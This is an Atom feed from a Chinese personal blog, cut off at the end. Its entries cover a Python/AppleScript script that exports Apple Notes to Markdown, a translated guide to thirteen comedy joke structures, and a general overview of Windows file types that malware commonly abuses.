<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>沙舟的博客</title>
  
  <subtitle>Sandship</subtitle>
  <link href="https://sandship.fun/atom.xml" rel="self"/>
  
  <link href="https://sandship.fun/"/>
  <updated>2026-02-11T07:44:26.147Z</updated>
  <id>https://sandship.fun/</id>
  
  <author>
    <name>Hank</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>如何导出 iOS 备忘录</title>
    <link href="https://sandship.fun/post/fa4e.html"/>
    <id>https://sandship.fun/post/fa4e.html</id>
    <published>2023-10-31T12:53:00.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p>博客好久没更新了，今天来水一波内容：</p><p><strong>如何导出 iOS 备忘录？</strong></p><p>这可能是一个让大家头疼已久的问题，我也是在网上百般寻找方法，有说用第三方软件的，也有说扒数据库的。首先第三方软件肯定是不可能去用的，死贵而且又不安全。数据库那些我又搞不懂，想找找看有没有懒人一键导出的方法。还真让我找到了，就是用 AppleScript。</p><p>简单介绍一下吧，AppleScript 是一种 macOS 上的脚本语言，用于自动化任务和与应用程序进行交互。它使用 Apple Events 通信协议并支持 GUI 脚本。常见用途包括文件管理、工作流自动化、批量编辑文档和与 macOS 内置应用（如 Finder、Mail 等）或第三方应用交互。</p><p>简单来说，你可以用 AppleScript 读取备忘录的内容，再用 Python 进行格式化和存储。</p><ul><li>准备工作</li></ul><ol><li>一台装有Python 环境的 Mac</li><li>把所有的笔记都整理到一个“备忘录”文件夹中</li></ol><ul><li>代码</li></ul><pre class=" language-python"><code class="language-python"><span class="token keyword">import</span> subprocess<span class="token keyword">import</span> os<span class="token keyword">import</span> re<span class="token keyword">def</span> <span class="token function">remove_html_tags</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">:</span>    clean <span class="token operator">=</span> re<span class="token punctuation">.</span>compile<span class="token punctuation">(</span><span class="token string">'&lt;.*?>'</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> re<span class="token punctuation">.</span>sub<span class="token punctuation">(</span>clean<span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">,</span> text<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">get_notes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    script <span class="token operator">=</span> <span class="token triple-quoted-string string">'''    tell application "Notes"        set noteNames to the name of every note of folder "Notes"        set noteContents to the body of every note of folder "Notes"        return &amp;#123;noteNames, noteContents&amp;#125;    end tell    '''</span>    process <span class="token operator">=</span> subprocess<span class="token punctuation">.</span>Popen<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">'osascript'</span><span class="token punctuation">,</span> <span class="token string">'-e'</span><span class="token punctuation">,</span> script<span class="token punctuation">]</span><span class="token punctuation">,</span> stdout<span class="token operator">=</span>subprocess<span class="token punctuation">.</span>PIPE<span class="token punctuation">)</span>    output<span class="token punctuation">,</span> _ <span class="token operator">=</span> process<span class="token punctuation">.</span>communicate<span class="token punctuation">(</span><span class="token punctuation">)</span>    note_names<span class="token punctuation">,</span> note_contents <span class="token operator">=</span> output<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span>    note_names <span class="token operator">=</span> note_names<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">', '</span><span class="token punctuation">)</span>    note_contents <span class="token operator">=</span> note_contents<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">', '</span><span class="token punctuation">)</span>    note_contents <span class="token operator">=</span> <span class="token punctuation">[</span>remove_html_tags<span class="token punctuation">(</span>content<span class="token punctuation">)</span> <span class="token keyword">for</span> content <span class="token keyword">in</span> note_contents<span class="token punctuation">]</span>    <span class="token keyword">return</span> note_names<span class="token punctuation">,</span> note_contents<span class="token keyword">def</span> <span class="token function">save_as_markdown</span><span class="token punctuation">(</span>note_names<span class="token punctuation">,</span> note_contents<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token operator">not</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>exists<span class="token punctuation">(</span><span class="token string">"NotesMarkdown"</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        os<span class="token punctuation">.</span>mkdir<span class="token punctuation">(</span><span class="token string">"NotesMarkdown"</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> name<span class="token punctuation">,</span> content <span class="token keyword">in</span> zip<span class="token punctuation">(</span>note_names<span class="token punctuation">,</span> note_contents<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">with</span> open<span class="token punctuation">(</span>f<span class="token string">"NotesMarkdown/&amp;#123;name&amp;#125;.md"</span><span class="token punctuation">,</span> <span class="token string">"w"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>            f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>content<span class="token punctuation">)</span>note_names<span class="token punctuation">,</span> note_contents <span class="token operator">=</span> get_notes<span class="token punctuation">(</span><span class="token punctuation">)</span>save_as_markdown<span class="token punctuation">(</span>note_names<span class="token punctuation">,</span> note_contents<span class="token punctuation">)</span></code></pre><p>⚠️注意：</p><ol><li>运行过程中脚本会要求权限，允许就好了</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;博客好久没更新了，今天来水一波内容：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如何导出 iOS 备忘录？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这可能是一个让大家头疼已久的问题，我也是在网上百般寻找方法，有说用第三方软件的，也有说扒数据库的。首先第三方软件肯定是不可能去用的，死贵而且又不安</summary>
      
    
    
    
    <category term="技巧" scheme="https://sandship.fun/categories/%E6%8A%80%E5%B7%A7/"/>
    
    
    <category term="GitHub" scheme="https://sandship.fun/tags/GitHub/"/>
    
    <category term="加速" scheme="https://sandship.fun/tags/%E5%8A%A0%E9%80%9F/"/>
    
  </entry>
  
  <entry>
    <title>喜剧的十三种结构</title>
    <link href="https://sandship.fun/post/7143.html"/>
    <id>https://sandship.fun/post/7143.html</id>
    <published>2023-09-04T23:48:19.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p>作者：Jerry Corley</p><p>翻译：护心镜翻译组</p><p>校对：周奇墨</p><p>许多年来，喜剧演员和幽默作家之间都流传着一个理论：「世界上笑话的数量是有限的」。其实这句话的意思是，喜剧的结构或者说范式是有限的。就像和弦走向之于音乐家一样，许多乐曲都是建立在有限的和弦走向结构上的。对于喜剧创作来说，我们的段子和笑话也都是建立在有限的结构上的。</p><p>你可能已经发现了，许多结构或者范式的底层逻辑都是「设立一个前提或者假设，然后打破它」；或者是让观众以为你会做一件事，但是你却做了另外一件事来给观众带来惊喜。大部分喜剧都是利用这样的「预期违背」来逗笑观众的。</p><h2 id="语义双关（DOUBLEENTENDRES）"><a href="#语义双关（DOUBLEENTENDRES）" class="headerlink" title="语义双关（DOUBLEENTENDRES）"></a>语义双关（DOUBLEENTENDRES）</h2><p>语义双关就是灵活运用多义词的文字游戏。</p><p><strong>语义双关示例：</strong></p><p>坦帕湾海盗队前主教练约翰·麦基经历了一个很糟糕的赛季。球队队员什么事情都做不对。在一场战败后的新闻发布会上，记者向麦基提问：<em>「你怎么看球员对于今天进攻的处理？」「我觉得行。」</em></p><p>译者注：原文Execution有「处理；处决」的双重含义，offense也有「进攻」和「前锋」的双重含义。Executionofoffense前文译作「对进攻的处理」，下文麦基理解为「处决前锋」。按主教练的回复版本，记者的提问可以理解为「把今天的球员都枪毙你觉得怎么样」</p><p><strong>其他示例：</strong></p><p><em>-「你看我头像牛逼吗？」-「像！」</em></p><p><em>-「听说贵公司是一条龙服务？ 」- 「对，我就是那条龙」。</em></p><p>你现在能看出来了吗，语义双关法则可以让一词多义应用在很多场景下的剧本创作中。</p><h2 id="反转（REVERSES）"><a href="#反转（REVERSES）" class="headerlink" title="反转（REVERSES）"></a>反转（REVERSES）</h2><p>反转就是在最后一刻<strong>切换段子的逻辑角度</strong>让观众感觉到被戏弄了，从而产生笑点。</p><p><em>「我在旅馆醒来的时候发现，客房经理一直在捶门，一直敲一直敲……最后我只能起床打开门放她出去。」</em></p><p><em>我教我女儿怎么系鞋带的时候，她说：「我做不到，爸爸。我做不到！」我说：「我告诉过你多少遍了，别用那个词……我是你妈！」</em></p><p><em>我去我女朋友家求她和我重归于好。我捶门，大喊：「史黛西！史黛西！」——这其实很奇怪，因为她叫艾米莉。</em></p><p><em>我最近在脱发。脱发会困扰你吗？会困扰我——当然不是说你脱发会困扰到我，是说我自己！比如一天早上，我老婆在床上温柔地用指尖抚摸我的秀发——但那时候我已经去上班了！</em></p><p>听众或读者知道「我老婆的指尖穿过我的头发」时候，肯定脑子里已经有画面感了吧？马上这种画面感就被一句「但那时候我已经去上班了」打破了。</p><p><strong>其他示例：</strong></p><p><em>我室友是个很讲公平的人，有一次我们一起吃盖饭，说好一人一半，然后她把盖饭的上半部分吃了。-王璐</em></p><h2 id="三步定律（TRIPLES）"><a href="#三步定律（TRIPLES）" class="headerlink" title="三步定律（TRIPLES）"></a>三步定律（TRIPLES）</h2><p>三步定律又称「三步建立法」。这种方法运用两个逻辑相近的元素构建一个思维定势的框架，紧跟着抛出第三个荒谬夸张的元素，从而打破之前框架给观众建立的印象。（译者注：相类似的，在中国的传统相声里，有「三翻四抖」的技巧。）</p><p><em>「你们知不知道’Synistriphobia’的意思是害怕自己身体左侧有东西，‘Dextraphobia’的意思是害怕自己身体右侧有东西。那害怕自己身体后面有东西叫什么？我猜叫‘Homophobia（恐同症）’。」</em></p><p>或者看看下面这个第三步反转的例子，因为这个段子我还得到了《杰·雷诺今夜秀》的编剧机会：</p><p><em>整个欧胡岛（夏威夷群岛的主岛）都停电了。是的，交通信号灯灭了，法院关门了，连在夏威夷度假的唐·金的头发都贴到脸上了。</em></p><p>译者注：唐·金是美国著名拳击经纪人，发型永远是吹起来的飞机头</p><p><strong>其他示例：</strong></p><p><em>四大文学名著：《三国演义》，《水浒传》，《哈利波特》……  -郭德纲、于谦《我是文学家》</em></p><h2 id="制造反差（INCONGRUITY）"><a href="#制造反差（INCONGRUITY）" class="headerlink" title="制造反差（INCONGRUITY）"></a>制造反差（INCONGRUITY）</h2><p>制造反差就是将<strong>两个不相关的事物联系到一起的技巧，也可以理解成将相反的元素并列讨论</strong>。人们称这个技巧为联想式喜剧，表演方式可以是简单陈述或者呈现出来。简单来说，就是将一般情况下毫无关系的两件事相提并论，这个结构在喜剧中用得非常普遍。</p><p><em>我见过一家中国餐馆，牌子上写着：「地道中餐，西班牙语点餐。」</em></p><p>制造反差是当今喜剧最为流行的技巧之一。喜剧演员总是用这个技巧，有时可以用以将毫无生命感的物体赋予人物性格。以宋飞的用法为例：</p><p><em>「我不觉得赛马知道他们在赛跑。它们只是站在那想：我知道在这条路那头有一袋子燕麦，我就想第一个跑到那儿。」</em></p><p><strong>其他示例：</strong></p><p><em>现在有些女孩子，整天在微信、微博上和男人打情骂俏、勾勾搭搭，聊不了几句就见面开房，视感情如儿戏，一点也不知道自重。对于这样的女孩，我只想说4个字：请联系我。</em></p><h2 id="简单真相（SIMPLETRUTH）"><a href="#简单真相（SIMPLETRUTH）" class="headerlink" title="简单真相（SIMPLETRUTH）"></a>简单真相（SIMPLETRUTH）</h2><p>这个方法很像刚才讲的语义双关法，不同的是语义双关法用的是单个词语的「误解」，而简单真相用的是措辞上的「误解」。观众通常从演员第一句的措辞中推测一种默认情形（通常是过度解读），但是演员下一句将另一种隐藏含义（通常是更直白的含义）告诉观众，这种「简单真相」通常是观众不会意料到的，这样就带来了笑点。</p><p><em>「我至今记得我的第一次啪啪啪。这不就在我的信用卡账单上写着呢。」</em></p><p>第一层是观众默认是正常的「第一次」，但其实讲述者的第一次竟然是买春。另一层是，观众默认（过度解读）他要讲「第一次啪啪啪的故事」，但其实讲述者只是简单的想指出「这是第一次」而已。</p><p><strong>传奇演员StevenWright有过如下段子：</strong></p><p><em>「今天早上，我的女朋友问我昨天睡的好吗（asked me ifI slept good）。我说「并不，我睡错了几下」（No，I made a few mistakes.）」</em></p><p>这个段子中，前句观众会推测演员对他女友的回答是睡得好或睡得不好，演员取了女友问句中另一种意思，就是「你睡得对吗？」，给出了令观众出乎其推测的回答。</p><p><em>「我的父亲真是个混蛋（bastard）！他并不坏，就是不知道他爹是谁。」在这个示例里，bastard可以理解为混蛋，也可以理解为私生子。<strong>这个方法常在歌词、圣经、诗歌和比喻基础上做文章：</strong></em></p><p><em>「你要是去过迪士尼乐园的话，肯定听过这首歌——《这是个小世界》，歌是这么唱的：『这是个快乐的世界，这又是个悲伤的世界；这是个充满希望的世界，这又是个令人恐惧的世界』——这首歌确定不是在讲躁郁症病人的日常吗？」</em></p><h2 id="制造优越感（SUPERIORITY）"><a href="#制造优越感（SUPERIORITY）" class="headerlink" title="制造优越感（SUPERIORITY）"></a>制造优越感（SUPERIORITY）</h2><p>是演员描述其他人的愚蠢的想法和行为，并使观众产生优越感的技巧。用法有：自嘲、嘲笑权威（警察或者政客等），或者攻击那些自以为是的人。</p><p><em>「咖啡店有个哥们，他那大钱包别在短裤里。你们见过那种大钱包的，有个链子能拴在裤子上那种——他是觉得会有贼一看到他的钱包就特别想偷走它吗？——链子上还拴着一大串钥匙。然后他的短裤就一直往下掉，他自己也因为这个显得特别不自在。我看不下去了，说：「哥们，你那裤子右面不是有个兜吗？把你的钱包揣在那儿不行吗。」他说：「啥？那钥匙不就放在我的右边了吗？」我说：「那咋了？有啥问题吗？」他说：「那我不就成了个死gay了吗？」我说：「啊？你的意思是钥匙放在左边的人是直男，放右边的就是同性恋吗？」</em></p><p><em>他说：「没错」我说：「哥们，这事搁俺们老家，只要你揣着一大串钥匙——那你就是个看大门的！」</em></p><p>很多国内单口喜剧演员会用一些（地域等）偏见来自嘲，这也属于制造优越感。</p><h2 id="配对短语（PAIREDPHRASES）"><a href="#配对短语（PAIREDPHRASES）" class="headerlink" title="配对短语（PAIREDPHRASES）"></a>配对短语（PAIREDPHRASES）</h2><p>配对短语利用反义词，同音异义词和同义词的节奏和押韵来制造笑点。同时，节奏和押韵常常会给我们带来反差感，而这往往是观众喜欢的。</p><p>美国总统奥巴马、克林顿和布什一起为海地地震灾民募捐筹款，他们筹款用的假名分别是「HOPE」、「GROPE」和「DOPE」。</p><p>译者注：hope-希望，dope这里的意思是蠢货的意思（a stupid person），很符合布什在大家眼中的形象；而grope这里的意思是「充满性意味地抚摸」（to touch or fondle someone for sexual pleasure），很符合克林顿性侵丑闻的形象。这三个词后两个音节均为&#x2F;əʊp&#x2F;，使用了押韵的结构。</p><p><strong>或者来自我的学生PatrickKanehan的这个例子：</strong></p><p><em>「洛杉矶时报最近说，你可以用七万五千美金买一年的「开心」。我比较好伺候，给我来三万五千块钱「有点不开心」我就满意了。</em></p><h2 id="闹剧（SLAPSTICK）"><a href="#闹剧（SLAPSTICK）" class="headerlink" title="闹剧（SLAPSTICK）"></a>闹剧（SLAPSTICK）</h2><p>「闹剧」是利用夸张甚至有些愚蠢的肢体动作，通过「表演」笑话让观众产生优越感的一种方式；如今的「闹剧」（利用肢体和表演）则通常是一种简单的「呈现」。虽然一些喜剧演员仍然会使用「闹剧」中夸张的身体动作来演出，但这种方式其实现在通常出现在素描喜剧小品（Sketch）或者是真人实景喜剧中；单口喜剧采用的相对较少。</p><h2 id="观察式喜剧（OBSERVATION-RECOGNITION）"><a href="#观察式喜剧（OBSERVATION-RECOGNITION）" class="headerlink" title="观察式喜剧（OBSERVATION-RECOGNITION）"></a>观察式喜剧（OBSERVATION-RECOGNITION）</h2><p>当你发现日常生活中一些有趣的细节，并把它放在「放大镜」下—用稍微夸张地手法为观众重现它，这样的喜剧就被称作是观察式喜剧。观察式幽默非常强大，尤其是当你真正抓住了一些观众也有强烈共鸣细节的时候。</p><p>你可以观察生活中的事物、想法、甚至广告或其他细节：</p><p><em>U盘的使用说明：尝试插入。翻个面，重新插入…再翻个面，再次重新插入。</em></p><p><em>是只有我觉得拆CD外包装的塑料包装膜这件事其实是生产商故意搞我们的吗？</em></p><p><em>为什么狗的鼻子里从来没有鼻屎，但他们眼中却有眼屎？为什么？而且他们的鼻子不会让你想起电源插座吗？看到那个鼻子你就抑制不住往里面插东西的冲动。</em></p><p><em>你有没有擤过一次鼻子之后发现好成功，于是你想再做一次？…而且为什么每次我们擤完鼻子后都要再看一眼餐巾纸？</em></p><p><em>我看到一个广告说，「清泻丸，药效持续整夜，直到早上8点……」但如果你睡过头怎么办？</em></p><p><em>你有没有看到过伟哥的广告？它说：「如果你勃起的时间超过四小时，请打电话告诉你的医生。」我想说，如果我的勃起时间超过四小时，我会打电话告诉所有人。</em></p><p>最好的喜剧演员在识别日常生活中的幽默的时候，也会记得识别<strong>行为上的幽默：</strong></p><p><em>「亲爱的艾比，之前和我约会的的那个人把我搞怀孕了。我想堕胎，但我不确定我和他的关系是否已经到了可以讨论金钱程度……」「当他的丁丁进入你体内的时候……你们的关系就已经到那个程度了。」</em></p><p><em>当你的女朋友跟你说「我能不能跟你说件事？但是你要保证不生气」的时候，你就知道这是个漫长的一夜了……</em></p><p><em>我的母亲很古怪：前几天她打电话和我说，「我觉得你姐姐的前夫想要杀了她。」我说，「妈妈，那你报了警察吗？」她说，「当然没啊，他还欠你姐姐的钱还没还呢！」</em></p><h2 id="比较和对比（COMPARE-amp-CONTRAST）"><a href="#比较和对比（COMPARE-amp-CONTRAST）" class="headerlink" title="比较和对比（COMPARE&amp;CONTRAST）"></a>比较和对比（COMPARE&amp;CONTRAST）</h2><p>这是一个让复杂内容突然变简单的喜剧结构，也是一个给读者或听众带来惊喜的技巧。当观众认为你要开始认真阐述的时候，你突然推翻他们的期望，一笔带过，通过反差制造出笑点。</p><p><em>「我知道我的脸是复杂性肌肤……而男朋友则十分肯定——他有一张脸。」-Cathy Ladman</em></p><p><em>「我和女朋友分手了。我们不得不分手，因为我们无法共处。你看，我是个摩羯座，而她是个……婊子。」</em></p><h2 id="喜剧讽刺（COMEDICIRONY）"><a href="#喜剧讽刺（COMEDICIRONY）" class="headerlink" title="喜剧讽刺（COMEDICIRONY）"></a>喜剧讽刺（COMEDICIRONY）</h2><p>现在我们一起来看一看「讽刺」这个技巧。一直以来讽刺有着不同的含义。如果我们查字典的话，我们得到的释义可能和现在喜剧中「讽刺」的含义有些许不同：</p><ul><li>通过强调相反事物来表达自我含义的方式，通常是为了达到幽默或强调的效果，如：「不要感激得太过头了！」他用强烈的讽刺的语气说。</li><li>有意与人的期望相违背的事态或事件，其结果通常是引人发笑的，如：讽刺的是我原本以为他能够帮助我。</li><li>（又称戏剧性讽刺或悲剧性讽刺）一种文学技巧，源于希腊悲剧，该技巧使得观众和读者可洞悉角色台词及动作的全部含义，而角色本身却并不知道。</li></ul><p>喜剧中讽刺的含义更接近于「戏剧性讽刺」。戏剧性讽刺通常与其自身相关——比如在莎士比亚的《罗密欧与朱丽叶》中——某个突然事件会扰乱或影响到主人公。其讽刺的地方在于，观众或读者或其他故事中的角色知道这件事。</p><p>比如在《罗密欧与朱丽叶》中，罗密欧找到朱丽叶并认为她已经死了。悲痛之中，罗密欧选择了自尽。但罗密欧不知道的是，朱丽叶不过是服下了能让她看上去像是已死的药剂，而事实上她只是在沉睡之中。朱丽叶醒来之后发现罗密欧已死，便同样在悲痛中死去。为何一出爱情故事会变成这样？！</p><p>喜剧中使用讽刺的问题之一是其可能会使观众感到困惑。你需要一群懂喜剧的观众。讽刺中并没有像一个精妙反转中所含有的「当头一棒式」的惊喜。所以当你在喜剧中使用讽刺时，它带来的反响通常是微小的，除非这个讽刺极为尖锐或深刻。当观众发现讽刺并被其震撼到的时候，他们通常在想：「嘿，还挺巧啊！」</p><p>在俄狄浦斯王的故事中，主人公在不知道自己被领养的情况下，在不知情中兑现了弑父并与母亲结婚的的预言。</p><p><em>「我家很穷。在我家附近，男人们在城市的两边各组建一个家庭是非常正常的事情。我直到16岁才遇见我的妹妹…那时我们已经第三次约会了。」</em></p><p>讽刺的另一个例子是我们可以揭露权威的虚伪或其中存在的明显的矛盾。这是我的学生戴维·康诺利创作的一个例子：</p><p><em>「我爸爸从事着世上最困难的一份工作。他是精神病院里的一名牧师…你们想想，他作为牧师的工作就是告诉人们，有个人（手指天）时刻都在看着他们。然而他面对的信众——也就是精神病院的病人们，就是因为以为有人时时刻刻都在看着他们才进了精神病院…」</em></p><p>传奇笑匠乔治卡琳经常使用喜剧讽刺。以下为一段他的经典开场白：</p><p><em>「你们有没有发现，那些反对堕胎的女人也恰好是那些你无论怎样都不想去睡的女人？」</em></p><p><strong>我的学生之一薇琪·戈达尔曾讲过这个段子：</strong></p><p><em>「你们有没有发现，有些人不相信气候变化，他们一边认为这只是地球的自然进化的一部分，一边又拒绝相信进化论？」</em></p><h2 id="绵里藏针（BENIGNRETALIATION）"><a href="#绵里藏针（BENIGNRETALIATION）" class="headerlink" title="绵里藏针（BENIGNRETALIATION）"></a>绵里藏针（BENIGNRETALIATION）</h2><p>「绵里藏针」是一个我研究了多年的喜剧结构，它包含一个完备喜剧公式的所有必要元素。元素的完备在喜剧公式的判定中极为重要。例如冥王星，因为不满足某些标准，便从行星被降格为卫星。</p><p><strong>人类喜欢报复，喜欢从那些做了错事、借了东西不还、误导和欺骗我们的人身上找回场子，却又不真的希望造成流血的损伤。</strong>最多只是嘴上说说，在「假设」的情景下进行虚构的报复。绵里藏针之所以是一种强而有力的喜剧手段，是因为它是基于报复而产生的的攻击，这也是我们做喜剧的重要原因。</p><p>下面有一个来自我学生的例子：</p><p><em>我回到家的时候，我的老婆正在疯狂打扫卫生。我问：「亲爱的，怎么啦？有谁要来吗？」她回答：「有啊，明天清洁工不是要来吗？」我想，你以为我们为什么要雇清洁工？不就是打扫吗？我很爱我的老婆，所以我帮忙打扫了。但是星期六的早上，我小小地报复了她一下。我把闹钟调到6点，时间一到我就跳起来催她起床。她问：「怎么了？」我说：「赶紧起床啊！园丁还有一个小时就到了，还不赶快起来铲草？」</em></p><p>你能清晰地看到例子里委婉的报复。观众喜欢这样的笑话，是因为他们能瞬间产生共鸣，他们自己在生活也常常耍这样的小手段。</p><p>我也用这种手段批评过权威人士对于同性人群的不宽容。</p><p><em>「专注家庭」组织的创始人詹姆斯·多布森说：如果我们允许Gay抚养孩子，他们的孩子长大也会是Gay。我说：「你可歇歇吧，这几百年过来，Gay们不都是直男养出来的吗？」</em></p><p>下面有一个关于我前女友的例子，这个故事有些尖锐，所以观众的反应很大程度上取决于我讲述的方式：</p><p>我的前女友无论我干点什么都能挑出刺来。<br><em>「天哪！你居然吃小牛牛！」</em><br><em>「天哪！你居然不喜欢红酒？」</em><br><em>「天哪！你居然不喜欢瑜伽？」我终于受够了，跟她说：「天哪，你居然被你爸摸过小妹妹，而我提过吗？！」</em></p><p>只要打开眼界，生活处处是素材。</p><p>如果你细想，估计也能找出很多生活中类似的例子，加入到你的段子中。或者回忆你在生活中与人的争论，想想能不能用这种手段进行回应。</p><p>例子：</p><p><em>有一次我的前女友给我带了绿帽。万圣节来了，她问我：「你觉得我万圣节应该扮演成什么？」我说：「就这么穿出去，然后告诉所有人，你在扮演一个没出轨的女人。」</em></p><h2 id="自相矛盾（PARADOX）"><a href="#自相矛盾（PARADOX）" class="headerlink" title="自相矛盾（PARADOX）"></a>自相矛盾（PARADOX）</h2><p>最后一个喜剧结构是「自相矛盾」。我个人很喜欢这个结构。之所以把自相矛盾算作喜剧的第十三个结构，是因为他其中包含了反差（incongruity）和讽刺（irony）的特点。从定义上来看，自相矛盾并不是讽刺，但是大家却能因为其中包含的讽刺意味而笑起来。</p><p>自相矛盾的定义是这样的：一句由相互矛盾的部分组成的话，却有可能是真实合理的。最简单的自相矛盾通常是由两个单独成立但彼此不能共同成立的句子所组成。</p><p><strong>我们看一下下面的几个例子：</strong></p><p><em>我们会用时间来衡量距离；</em></p><p><em>从这到商店有多远？</em></p><p><em>大概15分钟但是反过来说，就行不通了你几点下班？</em></p><p><em>大概5英里</em></p><p><em>我的会计太糟糕了，因为他实在太实诚了DVD使用说明：播放设置光盘来设置你的新DVD机器</em></p><p><em>如果你的电话有什么问题，请拨打1-800……</em></p><p><em>她的内心深处很浅薄</em></p><p><strong>自相矛盾可以让你逆向思考：</strong></p><p><em>我们的洗洁剂比畅销的洗洁剂更能洗干净衬衫上的血渍。但如果你的衬衫上有血，我觉得你更关心的应该不是洗洁剂的问题。</em></p><p>自相矛盾实在太棒了，光是读它们，就能启发你自己去写一些。光凭自相矛盾可以调动听众思考的这一点就和讽刺有着异曲同工之妙。当你学会这一点时，你的喜剧之路又向前迈进了一步。</p><p><strong>当然别忘了加一些例子！</strong></p><p>段子结构：铺垫（setup）——笑点（punchline）——例子、例子、例子……或者</p><p>呈现（表演）。呈现就是可以演出来的例子！</p><p><em>我有爱尔兰和印第安血统，你知道这是什么意思吗……就是我基本上可以在任何一个互助会上有个VIP坐席。</em></p><p>译者注：A.A.meeting，互助会，通常是有各种问题的人自发组织的交流团体。比如戒毒互助会，戒酒互助会等。这里讽刺爱尔兰裔和印第安裔的人生活不健康。</p><p><em>例子：我有次去了一个互助会，大家都说「嘿哥们我们给你留了个座儿」。呈现：我进去之后说「嘿你们有那种特制的硬币吗？我得拿瓶酒！」</em></p><p>译者注：能换酒的硬币通常在赌场里有。这里讽刺讲述者既嗜赌又嗜酒。</p><h2 id="译者说明"><a href="#译者说明" class="headerlink" title="译者说明"></a>译者说明</h2><p>《喜剧的十三种结构》是护心镜翻译组的第一个翻译作品——事实上，就是因为要翻译这篇文章，我们才顺便成立了护心镜翻译组。</p><p>感谢无偿为这篇文章的本土化作出贡献的「护心镜翻译组」首批成员（按拼音首字母排序）：</p><p>岑妤；</p><p>Daniel蛋；</p><p>楼悦聪，微博@一个网名吗；</p><p>黄宝咧，微博@黄宝咧又没梗了；</p><p>毛冬，微博@一位青年艺人；</p><p>王璐，微博@Duo_D王璐；</p><p>璎宁，微博@范小白眼。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;作者：Jerry Corley&lt;/p&gt;
&lt;p&gt;翻译：护心镜翻译组&lt;/p&gt;
&lt;p&gt;校对：周奇墨&lt;/p&gt;
&lt;p&gt;许多年来，喜剧演员和幽默作家之间都流传着一个理论：「世界上笑话的数量是有限的」。其实这句话的意思是，喜剧的结构或者说范式是有限的。就像和弦走向之于音乐家一样，许多乐曲</summary>
      
    
    
    
    <category term="单口喜剧" scheme="https://sandship.fun/categories/%E5%8D%95%E5%8F%A3%E5%96%9C%E5%89%A7/"/>
    
    
    <category term="单口喜剧" scheme="https://sandship.fun/tags/%E5%8D%95%E5%8F%A3%E5%96%9C%E5%89%A7/"/>
    
    <category term="脱口秀" scheme="https://sandship.fun/tags/%E8%84%B1%E5%8F%A3%E7%A7%80/"/>
    
  </entry>
  
  <entry>
    <title>Windows终端上的敏感文件们</title>
    <link href="https://sandship.fun/post/8300.html"/>
    <id>https://sandship.fun/post/8300.html</id>
    <published>2022-09-02T11:24:00.000Z</published>
    <updated>2026-02-11T07:44:26.143Z</updated>
    
    <content type="html"><![CDATA[<p>总结一下下面这几类敏感文件的作用，以及攻击者是如何利用这类文件危害终端安全的。</p><h2 id="可执行文件"><a href="#可执行文件" class="headerlink" title="可执行文件"></a>可执行文件</h2><h3 id="EXE"><a href="#EXE" class="headerlink" title="EXE"></a>EXE</h3><p>.exe是大家再熟悉不过的后缀名了，exe文件全称是（executable file）也就是可执行文件。exe文件一般是由开发者编译过的可执行的二进制文件，有可能是应用，当然也有可能是应用软件安装器。将病毒伪装成exe文件是攻击者的惯用手段，看下面这些病毒，基本都是exe文件，还有一些把自己伪装成一般文档或常用程序的。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202209011521574.png" alt="病毒库" style="zoom:50%;" /><h3 id="COM"><a href="#COM" class="headerlink" title="COM"></a>COM</h3><p>相比于exe，com文件就比较少见了，它的全称是command file，是一种运行在MS-DOS和Windows系统上的可执行文件。com文件与exe文件最大的区别在于，com文件有64kb的大小限制，现在com大部分被用来生成使用说明之类的小文件。不过也有利用com的攻击者，不过我搜了一下，暂时没有找到com后缀的病毒样本。</p><h2 id="系统文件"><a href="#系统文件" class="headerlink" title="系统文件"></a>系统文件</h2><h3 id="REG"><a href="#REG" class="headerlink" title="REG"></a>REG</h3><p>注册表文件（Registry File）可以更新系统的注册表，关于注册表的作用，我在这篇文章里写到过[[注册表的重要性]]，简而言之，注册表非常重要但是却非常脆弱。基本是人人都可以插一脚的状态。reg病毒文件并不攻击，他们更多的是在捣乱，让某个软件或者系统的莫哥部分不能运行之类的。</p><h3 id="CPL"><a href="#CPL" class="headerlink" title="CPL"></a>CPL</h3><p>Windows Control Panel Item，Windows上的控制面板文件，主要作用是存储各类设置，比如网络、声音和鼠标等。cpl文件如何应用，<a href="https://cloud.tencent.com/developer/article/1861377">这篇文章</a>用实例告诉了我们。</p><h3 id="FON"><a href="#FON" class="headerlink" title="FON"></a>FON</h3><p>fon是一类字体文件的后缀名，对于字体文件，我们现在更常见到的是ttf（true type font）后缀的文件。fon文件的特殊性在于它包含了一系列的FNT文件，很多病毒都利用fon文件来<strong>隐匿</strong>自己在系统中的踪迹，比如这篇文章提到的<a 